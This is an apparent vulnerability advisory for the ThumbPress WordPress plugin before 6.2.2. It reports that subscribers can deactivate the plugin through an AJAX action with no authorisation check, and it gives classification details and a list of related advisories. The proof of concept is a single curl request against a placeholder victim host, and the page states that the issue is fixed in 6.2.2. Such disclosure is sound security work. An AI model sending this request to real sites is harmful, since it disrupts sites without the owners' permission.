ThumbPress < 6.2.2 – Subscriber+ Plugin Deactivation | CVE 2026-13432 | Plugin Vulnerabilities

Description

The plugin does not perform a capability check on one of its AJAX actions, allowing authenticated users with subscriber-level access or higher to deactivate the plugin, disrupting the site's image-handling functionality.

Proof of Concept

ThumbPress (image-sizes) <= 6.2.1 active. As a logged-in Subscriber, send a single AJAX request (no nonce required):

curl -s -b "<subscriber session cookies>" -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  --data "action=pl-plugin-deactivation"

# Response: {"status":1,"message":"Plugin deactivated"}  (HTTP 200)
# ThumbPress is now deactivated (shown as inactive on the Plugins screen),
# disrupting the site's thumbnail/image-management functionality.

Affects Plugins

Fixed in 6.2.2

References

CVE

Classification

Type

NO AUTHORISATION

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Umut Can Yurdayardım

Submitter

Umut Can Yurdayardım

Submitter website

https://umutsec.com/

Submitter twitter

Verified

Yes

WPVDB ID

a408e8f9-4de7-4449-8fca-51ea46e4f433

Timeline

Publicly Published

2026-06-29 (about 2 months ago)

Added

2026-06-29 (about 2 months ago)

Last Updated

2026-06-29 (about 2 months ago)

Other

Published

Title

Published

2025-12-31

Title

Custom Admin Interface < 7.41 - Missing Authorization

Published

2024-04-30

Title

The Post Grid – Shortcode, Gutenberg Blocks and Elementor Addon for Post Grid < 7.7.0 - Missing Authorization

Published

2026-02-18

Title

Book Previewer for Woocommerce <= 1.0.6 - Missing Authorization

Published

2026-01-26

Title

WebP Conversion <= 2.1 - Missing Authorization

Published

2024-01-17

Title

InstaWP Connect < 0.1.0.9 - Missing Authorization to Arbitrary Options Update